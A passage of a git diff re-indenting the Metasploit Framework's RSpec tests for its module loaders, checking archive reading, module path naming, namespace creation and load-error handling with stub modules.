enabled_module_directory - - File.open(enabled_module_path, 'wb') do |f| - f.write(enabled_module_content) - end - - Dir.mktmpdir do |archive_directory| - @archive_path = File.join(archive_directory, "rspec#{archive_extension}") - FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) - - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around - FastLib.cache.clear - - example.run - end - end - end - - # this checks that the around(:each) is working - it 'should have an existent FastLib' do - File.exist?(@archive_path).should be_true - end - - it 'should ignore .svn directories' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should_not include('.svn') - end - end - - it 'should ignore types that are not enabled' do - module_manager.type_enabled?(disabled_type).should be_false - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should_not == disabled_type - end - end - - it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should == @archive_path - end - end - - it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do - module_manager.type_enabled?(enabled_type).should be_true - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should == enabled_type - end - end - - it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) - module_reference_name.should == module_reference_name - end - end - - # ensure that the block is actually being run so that shoulds in the block aren't just being skipped - it 'should yield the correct number of tuples' do - actual_count = 0 - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - actual_count += 1 - end - - actual_count.should == 1 - end - end - - context '#loadable?' do - it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do - path = "path/to/archive#{archive_extension}" - - File.extname(path).should == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_true - end - - it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do - path = "path/to/archive#{archive_extension}.bak" - - path.should include(described_class::ARCHIVE_EXTENSION) - File.extname(path).should_not == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_false - end - end - - context '#module_path' do - let(:parent_path) do - "path/to/archive#{archive_extension}" - end - - let(:type) do - 'exploit' - end - - let(:type_directory) do - 'exploits' - end - - it 'should use typed_path to convert the type name to a type directory' do - subject.should_receive(:typed_path).with(type, module_reference_name) - - subject.send(:module_path, parent_path, type, module_reference_name) - end - - it "should separate the archive path from the entry path with '::'" do - module_path = subject.send(:module_path, parent_path, type, module_reference_name) - - module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" - end - end - - context '#read_module_path' do - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - enabled_type - end - - let(:type_directory) do - enabled_type_directory - end - - let(:archived_path) do - File.join(type_directory, "#{module_reference_name}#{module_extension}") - end - - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end - - let(:flag_string) do - flags.to_s(16) - end - - let(:flags) do - 0x0 - end + end + + around(:each) do |example| + Dir.mktmpdir do |directory| + @base_path = directory + + # make a .svn directory to be ignored + subversion_path = File.join(@base_path, '.svn') + FileUtils.mkdir_p subversion_path + + # make a type directory that should be ignored because it's not enabled + disabled_type_path = File.join(@base_path, disabled_type_directory) + FileUtils.mkdir_p disabled_type_path + + # + # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the + # yield + # + + disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") + + File.open(disabled_module_path, 'wb') do |f| + f.write(disabled_module_content) + end + + # make a type directory that should not be ignored because it is enabled + enabled_module_path = File.join( + @base_path, + enabled_type_directory, + "#{module_reference_name}#{module_extension}" + ) + enabled_module_directory = File.dirname(enabled_module_path) + FileUtils.mkdir_p enabled_module_directory + + File.open(enabled_module_path, 'wb') do |f| + f.write(enabled_module_content) + end + + Dir.mktmpdir do |archive_directory| + @archive_path = File.join(archive_directory, "rspec#{archive_extension}") + FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) + + # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around + FastLib.cache.clear + + example.run + end + end + end + + # this checks that the around(:each) is working + it 'should have an existent FastLib' do + File.exist?(@archive_path).should be_true + end + + it 'should ignore .svn directories' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + parent_path.should_not include('.svn') + end + end - let(:unarchived_path) do - File.join(base_path, archived_path) - end + it 'should ignore types that are not enabled' do + module_manager.type_enabled?(disabled_type).should be_false - it 'should read modules that exist' do - File.exist?(unarchived_path).should be_true - end + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + type.should_not == disabled_type + end + end + + it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + parent_path.should == @archive_path + end + end - around(:each) do |example| - Dir.mktmpdir do |directory| - @parent_path = File.join(directory, 'rspec.fastlib') + it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do + module_manager.type_enabled?(enabled_type).should be_true - FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + type.should == enabled_type + end + end + + it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) + module_reference_name.should == module_reference_name + end + end + + # ensure that the block is actually being run so that shoulds in the block aren't just being skipped + it 'should yield the correct number of tuples' do + actual_count = 0 + + subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| + actual_count += 1 + end - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct - FastLib.cache.clear + actual_count.should == 1 + end + end - example.run - end - end + context '#loadable?' do + it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do + path = "path/to/archive#{archive_extension}" - context 'with uncompressed archive' do - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end + File.extname(path).should == described_class::ARCHIVE_EXTENSION + subject.loadable?(path).should be_true + end - context 'with compressed archive' do - let(:flags) do - FastLib::FLAG_COMPRESS - end + it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do + path = "path/to/archive#{archive_extension}.bak" + + path.should include(described_class::ARCHIVE_EXTENSION) + File.extname(path).should_not == described_class::ARCHIVE_EXTENSION + subject.loadable?(path).should be_false + end + end + + context '#module_path' do + let(:parent_path) do + "path/to/archive#{archive_extension}" + end + + let(:type) do + 'exploit' + end + + let(:type_directory) do + 'exploits' + end + + it 'should use typed_path to convert the type name to a type directory' do + subject.should_receive(:typed_path).with(type, module_reference_name) + + subject.send(:module_path, parent_path, type, module_reference_name) + end + + it "should separate the archive path from the entry path with '::'" do + module_path = subject.send(:module_path, parent_path, type, module_reference_name) + + module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" + end + end + + context '#read_module_path' do + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + enabled_type + end + + let(:type_directory) do + enabled_type_directory + end + + let(:archived_path) do + File.join(type_directory, "#{module_reference_name}#{module_extension}") + end + + let(:base_path) do + File.join(Msf::Config.install_root, 'modules') + end + + let(:flag_string) do + flags.to_s(16) + end + + let(:flags) do + 0x0 + end + + let(:unarchived_path) do + File.join(base_path, archived_path) + end + + it 'should read modules that exist' do + File.exist?(unarchived_path).should be_true + end + + around(:each) do |example| + Dir.mktmpdir do |directory| + @parent_path = File.join(directory, 'rspec.fastlib') + + FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) + + # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct + FastLib.cache.clear + + example.run + end + end + + context 'with uncompressed archive' do + it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' + end + + context 'with compressed archive' do + let(:flags) do + FastLib::FLAG_COMPRESS + end - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - end - end + it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' + end + end + end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 916b23d0aeac..3f6e69063eb3 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -4,1334 +4,1334 @@ require 'msf/core' describe Msf::Modules::Loader::Base do - include_context 'Msf::Modules::Loader::Base' + include_context 'Msf::Modules::Loader::Base' - let(:described_class_pathname) do - root_pathname.join('lib', 'msf', 'core', 'modules', 'loader', 'base.rb') - end + let(:described_class_pathname) do + root_pathname.join('lib', 'msf', 'core', 'modules', 'loader', 'base.rb') + end - let(:malformed_module_content) do - <<-EOS + let(:malformed_module_content) do + <<-EOS class Metasploit3 # purposeful typo to check that module path is used in backtrace inclde Exploit::Remote::Tcp end - EOS - end + EOS + end - let(:module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary + let(:module_content) do + <<-EOS + class Metasploit3 < Msf::Auxiliary # fully-qualified name is Msf::GoodRanking, so this will failing if lexical scope is not captured Rank = GoodRanking end - EOS - end + EOS + end - let(:module_full_name) do - "#{type}/#{module_reference_name}" - end + let(:module_full_name) do + "#{type}/#{module_reference_name}" + end - let(:module_path) do - parent_pathname.join('auxiliary', 'rspec', 'mock.rb').to_s - end + let(:module_path) do + parent_pathname.join('auxiliary', 'rspec', 'mock.rb').to_s + end - let(:module_reference_name) do - 'rspec/mock' - end + let(:module_reference_name) do + 'rspec/mock' + end - let(:type) do - Msf::MODULE_AUX - end + let(:type) do + Msf::MODULE_AUX + end - context 'CONSTANTS' do + context 'CONSTANTS' do - context 'DIRECTORY_BY_TYPE' do - let(:directory_by_type) do - described_class::DIRECTORY_BY_TYPE - end + context 'DIRECTORY_BY_TYPE' do + let(:directory_by_type) do + described_class::DIRECTORY_BY_TYPE + end - it 'should be defined' do - described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true - end + it 'should be defined' do + described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true + end - it 'should map Msf::MODULE_AUX to auxiliary' do - directory_by_type[Msf::MODULE_AUX].should == 'auxiliary' - end + it 'should map Msf::MODULE_AUX to auxiliary' do + directory_by_type[Msf::MODULE_AUX].should == 'auxiliary' + end - it 'should map Msf::MODULE_ENCODER to encoders' do - directory_by_type[Msf::MODULE_ENCODER].should == 'encoders' - end + it 'should map Msf::MODULE_ENCODER to encoders' do + directory_by_type[Msf::MODULE_ENCODER].should == 'encoders' + end - it 'should map Msf::MODULE_EXPLOIT to exploits' do - directory_by_type[Msf::MODULE_EXPLOIT].should == 'exploits' - end + it 'should map Msf::MODULE_EXPLOIT to exploits' do + directory_by_type[Msf::MODULE_EXPLOIT].should == 'exploits' + end - it 'should map Msf::MODULE_NOP to nops' do - directory_by_type[Msf::MODULE_NOP].should == 'nops' - end + it 'should map Msf::MODULE_NOP to nops' do + directory_by_type[Msf::MODULE_NOP].should == 'nops' + end - it 'should map Msf::MODULE_PAYLOAD to payloads' do - directory_by_type[Msf::MODULE_PAYLOAD].should == 'payloads' - end + it 'should map Msf::MODULE_PAYLOAD to payloads' do + directory_by_type[Msf::MODULE_PAYLOAD].should == 'payloads' + end - it 'should map Msf::MODULE_POST to post' do - directory_by_type[Msf::MODULE_POST].should == 'post' - end - end + it 'should map Msf::MODULE_POST to post' do + directory_by_type[Msf::MODULE_POST].should == 'post' + end + end - context 'NAMESPACE_MODULE_LINE' do - it 'should be line number for first line of NAMESPACE_MODULE_CONTENT' do - file_lines = [] + context 'NAMESPACE_MODULE_LINE' do + it 'should be line number for first line of NAMESPACE_MODULE_CONTENT' do + file_lines = [] - described_class_pathname.open do |f| - file_lines = f.to_a - end + described_class_pathname.open do |f| + file_lines = f.to_a + end - # -1 because file lines are 1-based, but array is 0-based - file_line = file_lines[described_class::NAMESPACE_MODULE_LINE - 1] + # -1 because file lines are 1-based, but array is 0-based + file_line = file_lines[described_class::NAMESPACE_MODULE_LINE - 1] - constant_lines = described_class::NAMESPACE_MODULE_CONTENT.lines.to_a - constant_line = constant_lines.first + constant_lines = described_class::NAMESPACE_MODULE_CONTENT.lines.to_a + constant_line = constant_lines.first - file_line.should == constant_line - end - end + file_line.should == constant_line + end + end - context 'NAMESPACE_MODULE_CONTENT' do - context 'derived module' do - let(:namespace_module_names) do - ['Msf', 'Modules', 'Mod617578696c696172792f72737065632f6d6f636b'] - end + context 'NAMESPACE_MODULE_CONTENT' do + context 'derived module' do + let(:namespace_module_names) do + ['Msf', 'Modules', 'Mod617578696c696172792f72737065632f6d6f636b'] + end - let(:namespace_module) do - Object.module_eval( - <<-EOS - module #{namespace_module_names[0]} + let(:namespace_module) do + Object.module_eval( + <<-EOS + module #{namespace_module_names[0]} module #{namespace_module_names[1]} module #{namespace_module_names[2]} - #{described_class::NAMESPACE_MODULE_CONTENT} + #{described_class::NAMESPACE_MODULE_CONTENT} + end + end + end + EOS + ) + + namespace_module_names.join('::').constantize + end + + context 'loader' do + it 'should be a read/write attribute' do + loader = double('Loader') + namespace_module.loader = loader + + namespace_module.loader.should == loader + end + end + + context 'module_eval_with_lexical_scope' do + it 'should capture the lexical scope' do + expect { + namespace_module.module_eval_with_lexical_scope(module_content, module_path) + }.to_not raise_error + end + + context 'with malformed module content' do + it 'should use module path in module_eval' do + error = nil + + begin + namespace_module.module_eval_with_lexical_scope(malformed_module_content, module_path) + rescue NoMethodError => error + # don't put the should in the rescue because if there is no error, then the example will still be + # successful. + end + + error.should_not be_nil + error.backtrace[0].should include(module_path) + end + end + end + + context 'parent_path' do + it 'should be a read/write attribute' do + parent_path = double('Parent Path') + namespace_module.parent_path = parent_path + + namespace_module.parent_path.should == parent_path + end + end + end + end + + context 'MODULE_EXTENSION' do + it 'should only support ruby source modules' do + described_class::MODULE_EXTENSION.should == '.rb' + end + end + + context 'MODULE_SEPARATOR' do + it 'should make valid module names' do + name = ['Msf', 'Modules'].join(described_class::MODULE_SEPARATOR) + name.constantize.should == Msf::Modules + end + end + + context 'NAMESPACE_MODULE_NAMES' do + it 'should be under Msf so that Msf constants resolve from lexical scope' do + described_class::NAMESPACE_MODULE_NAMES.should include('Msf') + end + + it "should not be directly under Msf so that modules don't collide with core namespaces" do + direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') + last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 + + last_index.should > direct_index + end + end + + context 'UNIT_TEST_REGEX' do + it 'should match test suite files' do + described_class::UNIT_TEST_REGEX.should match('rb.ts.rb') + end + + it 'should match unit test files' do + described_class::UNIT_TEST_REGEX.should match('rb.ut.rb') + end + end + end + + context 'class methods' do + context 'typed_path' do + it 'should have MODULE_EXTENSION for the extension name' do + typed_path = described_class.typed_path(Msf::MODULE_AUX, module_reference_name) + + File.extname(typed_path).should == described_class::MODULE_EXTENSION + end + + # Don't iterate over a Hash here as that would too closely mirror the actual implementation and not test anything + it_should_behave_like 'typed_path', 'Msf::MODULE_AUX' => 'auxiliary' + it_should_behave_like 'typed_path', 'Msf::MODULE_ENCODER' => 'encoders' + it_should_behave_like 'typed_path', 'Msf::MODULE_EXPLOIT' => 'exploits' + it_should_behave_like 'typed_path', 'Msf::MODULE_NOP' => 'nops' + it_should_behave_like 'typed_path', 'Msf::MODULE_PAYLOAD' => 'payloads' + it_should_behave_like 'typed_path', 'Msf::MODULE_POST' => 'post' + end + end + + context 'instance methods' do + let(:module_manager) do + double('Module Manager', :module_load_error_by_path => {}) + end + + subject do + described_class.new(module_manager) + end + + context '#initialize' do + it 'should set @module_manager' do + loader = described_class.new(module_manager) + loader.instance_variable_get(:@module_manager).should == module_manager + end + end + + context '#loadable?' do + it 'should be abstract' do + expect { + subject.loadable?(parent_pathname.to_s) + }.to raise_error(NotImplementedError) + end + end + + context '#load_module' do + let(:parent_path) do + parent_pathname.to_s + end + + let(:type) do + Msf::MODULE_AUX + end + + before(:each) do + subject.stub(:module_path => module_path) + end + + it 'should call file_changed? with the module_path' do + module_manager.should_receive(:file_changed?).with(module_path).and_return(false) + + subject.load_module(parent_path, type, module_reference_name, :force => false) + end + + context 'without file changed' do + before(:each) do + module_manager.stub(:file_changed? => false) + end + + it 'should return false if :force is false' do + subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false + end + + it 'should not call #read_module_content' do + subject.should_not_receive(:read_module_content) + subject.load_module(parent_path, type, module_reference_name) + end + end + + context 'with file changed' do + let(:module_full_name) do + File.join('auxiliary', module_reference_name) + end + + let(:namespace_module) do + Msf::Modules.const_get(relative_name) + end + + let(:relative_name) do + 'Mod617578696c696172792f72737065632f6d6f636b' + end + + before(:each) do + # capture in a local so that instance_eval can access it + relative_name = self.relative_name + + # remove module from previous examples so reload error aren't logged + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + + # create an namespace module that can be restored + module Msf + module Modules + module Mod617578696c696172792f72737065632f6d6f636b + class Metasploit3 < Msf::Auxiliary + + end + end + end + end + + @original_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b + + module_manager.stub(:delete).with(module_reference_name) + module_manager.stub(:file_changed?).with(module_path).and_return(true) + + module_set = double('Module Set') + module_set.stub(:delete).with(module_reference_name) + module_manager.stub(:module_set).with(type).and_return(module_set) + end + + it 'should call #namespace_module_transaction with the module full name and :reload => true' do + subject.stub(:read_module_content => module_content) + + subject.should_receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) + + subject.load_module(parent_path, type, module_reference_name) + end + + it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do + module_manager.stub(:on_module_load) + + subject.stub(:read_module_content => module_content) + + subject.load_module(parent_path, type, module_reference_name).should be_true + namespace_module.parent_path.should == parent_path + end + + it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do + module_manager.stub(:on_module_load) + + subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do + subject.stub(:read_module_content => malformed_module_content) + module_manager.stub(:on_module_load) + + # if the module eval error includes the module_path then the module_path was passed along correctly + subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) + subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false + end + + context 'with empty module content' do + before(:each) do + subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return('') + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should not attempt to make a new namespace_module' do + subject.should_not_receive(:namespace_module_transaction) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + context 'with errors from namespace_module_eval_with_lexical_scope' do + before(:each) do + @namespace_module = double('Namespace Module') + @namespace_module.stub(:parent_path=) + + subject.stub(:namespace_module_transaction).and_yield(@namespace_module) + module_content = double('Module Content', :empty? => false) + subject.stub(:read_module_content).and_return(module_content) + end + + context 'with Interrupt' do + it 'should re-raise' do + @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(Interrupt) + + expect { + subject.load_module(parent_path, type, module_reference_name) + }.to raise_error(Interrupt) + end + end + + context 'with other Exception' do + let(:backtrace) do + [ + 'Backtrace Line 1', + 'Backtrace Line 2' + ] + end + + let(:error) do + error_class.new(error_message) + end + + let(:error_class) do + ArgumentError + end + + let(:error_message) do + 'This is rspec. Your argument is invalid.' + end + + before(:each) do + @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(error) + + @module_load_error_by_path = {} + module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + + error.stub(:backtrace => backtrace) + end + + context 'with version compatibility' do + before(:each) do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + end + + it 'should record the load error using the original error' do + subject.should_receive(:load_error).with(module_path, error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + context 'without version compatibility' do + let(:version_compatibility_error) do + Msf::Modules::VersionCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name, + :minimum_api_version => infinity, + :minimum_core_version => infinity + ) + end + + let(:infinity) do + 0.0 / 0.0 + end + + before(:each) do + @namespace_module.stub( + :version_compatible! + ).with( + module_path, + module_reference_name + ).and_raise( + version_compatibility_error + ) + end + + it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do + subject.should_receive(:load_error).with(module_path, version_compatibility_error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + it 'should return false' do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end + + context 'without module_eval errors' do + before(:each) do + @namespace_module = double('Namespace Module') + @namespace_module.stub(:parent_path=) + @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) + + metasploit_class = double('Metasploit Class', :parent => @namespace_module) + @namespace_module.stub(:metasploit_class! => metasploit_class) + + subject.stub(:namespace_module_transaction).and_yield(@namespace_module) + + subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + + @module_load_error_by_path = {} + module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + end + + it 'should check for version compatibility' do + module_manager.stub(:on_module_load) + + @namespace_module.should_receive(:version_compatible!).with(module_path, module_reference_name) + subject.load_module(parent_path, type, module_reference_name) + end + + context 'without version compatibility' do + let(:version_compatibility_error) do + Msf::Modules::VersionCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name, + :minimum_api_version => infinity, + :minimum_core_version => infinity + ) + end + + let(:infinity) do + 0.0 / 0.0 + end + + before(:each) do + @namespace_module.stub( + :version_compatible! + ).with( + module_path, + module_reference_name + ).and_raise( + version_compatibility_error + ) + end + + it 'should record the load error' do + subject.should_receive(:load_error).with(module_path, version_compatibility_error) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + + end + end + + context 'with version compatibility' do + before(:each) do + @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + + module_manager.stub(:on_module_load) + end + + context 'without metasploit_class' do + let(:error) do + Msf::Modules::MetasploitClassCompatibilityError.new( + :module_path => module_path, + :module_reference_name => module_reference_name + ) + end + + before(:each) do + @namespace_module.stub(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) + end + + it 'should record load error' do + subject.should_receive( + :load_error + ).with( + module_path, + kind_of(Msf::Modules::MetasploitClassCompatibilityError) + ) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == @original_namespace_module + end + end + + context 'with metasploit_class' do + let(:metasploit_class) do + double('Metasploit Class') + end + + before(:each) do + @namespace_module.stub(:metasploit_class! => metasploit_class) + end + + it 'should check if it is usable' do + subject.should_receive(:usable?).with(metasploit_class).and_return(true) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + context 'without usable metasploit_class' do + before(:each) do + subject.stub(:usable? => false) + end + + it 'should log information' do + subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should return false' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + + it 'should restore the old namespace module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_get(relative_name).should == @original_namespace_module + end + end + + context 'with usable metasploit_class' do + before(:each) do + # remove the mocked namespace_module since happy-path/real loading is occurring in this context + subject.unstub(:namespace_module_transaction) + end + + it 'should log load information' do + subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do + original_load_error = "Back in my day this module didn't load" + module_manager.module_load_error_by_path[module_path] = original_load_error + + module_manager.module_load_error_by_path[module_path].should == original_load_error + subject.load_module(parent_path, type, module_reference_name).should be_true + module_manager.module_load_error_by_path[module_path].should be_nil + end + + it 'should return true' do + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + it 'should call module_manager.on_module_load' do + module_manager.should_receive(:on_module_load) + subject.load_module(parent_path, type, module_reference_name).should be_true + end + + context 'with :recalculate_by_type' do + it 'should set the type to be recalculated' do + recalculate_by_type = {} + + subject.load_module( + parent_path, + type, + module_reference_name, + :recalculate_by_type => recalculate_by_type + ).should be_true + recalculate_by_type[type].should be_true + end + end + + context 'with :count_by_type' do + it 'should set the count to 1 if it does not exist' do + count_by_type = {} + + count_by_type.has_key?(type).should be_false + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type + ).should be_true + count_by_type[type].should == 1 end + + it 'should increment the count if it does exist' do + original_count = 1 + count_by_type = { + type => original_count + } + + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type + ).should be_true + + incremented_count = original_count + 1 + count_by_type[type].should == incremented_count + end + end + end + end + end + end + end + end + + context '#create_namespace_module' do + let(:namespace_module_names) do + [ + 'Msf', + 'Modules', + relative_name + ] + end + + let(:relative_name) do + 'Mod0' + end + + before(:each) do + # capture in local variable so it works in instance_eval + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + end + + it 'should wrap NAMESPACE_MODULE_CONTENT with module declarations matching namespace_module_names' do + Object.should_receive( + :module_eval + ).with( + "module #{namespace_module_names[0]}\n" \ + "module #{namespace_module_names[1]}\n" \ + "module #{namespace_module_names[2]}\n" \ + "#{described_class::NAMESPACE_MODULE_CONTENT}\n" \ + "end\n" \ + "end\n" \ + "end", + anything, + anything + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it "should set the module_eval path to the loader's __FILE__" do + Object.should_receive( + :module_eval + ).with( + anything, + described_class_pathname.to_s, + anything + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it 'should set the module_eval line to compensate for the wrapping module declarations' do + Object.should_receive( + :module_eval + ).with( + anything, + anything, + described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length + ) + + namespace_module = double('Namespace Module') + namespace_module.stub(:loader=) + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + + it "should set the namespace_module's module loader to itself" do + namespace_module = double('Namespace Module') + + namespace_module.should_receive(:loader=).with(subject) + + subject.stub(:current_module => namespace_module) + + subject.send(:create_namespace_module, namespace_module_names) + end + end + + context '#current_module' do + let(:module_names) do + [ + 'Msf', + 'Modules', + relative_name + ] + end + + let(:relative_name) do + 'Mod0' + end + + before(:each) do + # copy to local variable so it is accessible in instance_eval + relative_name = self.relative_name + + if Msf::Modules.const_defined? relative_name + Msf::Modules.instance_eval do + remove_const relative_name + end + end + end + + it 'should return nil if the module is not defined' do + Msf::Modules.const_defined?(relative_name).should be_false + subject.send(:current_module, module_names).should be_nil + end + + it 'should return the module if it is defined' do + module Msf + module Modules + module Mod0 + end + end + end + + subject.send(:current_module, module_names).should == Msf::Modules::Mod0 + end + end + + context '#each_module_reference_name' do + it 'should be abstract' do + expect { + subject.send(:each_module_reference_name, parent_path) + }.to raise_error(NotImplementedError) + end + end + + context '#module_path' do + it 'should be abstract' do + expect { + subject.send(:module_path, parent_path, Msf::MODULE_AUX, module_reference_name) + }.to raise_error(NotImplementedError) + end + end + + context '#module_path?' do + it 'should return false if path is hidden' do + hidden_path = '.hidden/path/file.rb' + + subject.send(:module_path?, hidden_path).should be_false + end + + it 'should return false if the file extension is not MODULE_EXTENSION' do + non_module_extension = '.c' + path = "path/with/wrong/extension#{non_module_extension}" + + non_module_extension.should_not == described_class::MODULE_EXTENSION + subject.send(:module_path?, path).should be_false + end + + it 'should return false if the file is a unit test' do + unit_test_extension = '.rb.ut.rb' + path = "path/to/unit_test#{unit_test_extension}" + + subject.send(:module_path?, path).should be_false + end + + it 'should return false if the file is a test suite' do + test_suite_extension = '.rb.ts.rb' + path = "path/to/test_suite#{test_suite_extension}" + + subject.send(:module_path?, path).should be_false + end + + it 'should return true otherwise' do + subject.send(:module_path?, module_path).should be_true + end + end + + context '#module_reference_name_from_path' do + it 'should strip MODULE_EXTENSION from the end of the path' do + path_without_extension = "a#{described_class::MODULE_EXTENSION}.dir/a" + path = "#{path_without_extension}#{described_class::MODULE_EXTENSION}" + + subject.send(:module_reference_name_from_path, path).should == path_without_extension + end + end + + context '#namespace_module_name' do + it 'should prefix the name with Msf::Modules::' do + subject.send(:namespace_module_name, module_full_name).should start_with('Msf::Modules::') + end + + it 'should prefix the relative name with Mod' do + namespace_module_name = subject.send(:namespace_module_name, module_full_name) + relative_name = namespace_module_name.gsub(/^.*::/, '') + + relative_name.should start_with('Mod') + end + + it 'should be reversible' do + namespace_module_name = subject.send(:namespace_module_name, module_full_name) + unpacked_name = namespace_module_name.gsub(/^.*::Mod/, '') + + [unpacked_name].pack('H*').should == module_full_name + end + end + + context '#namespace_module_names' do + it "should prefix the array with ['Msf', 'Modules']" do + subject.send(:namespace_module_names, module_full_name).should start_with(['Msf', 'Modules']) + end + + it 'should prefix the relative name with Mod' do + namespace_module_names = 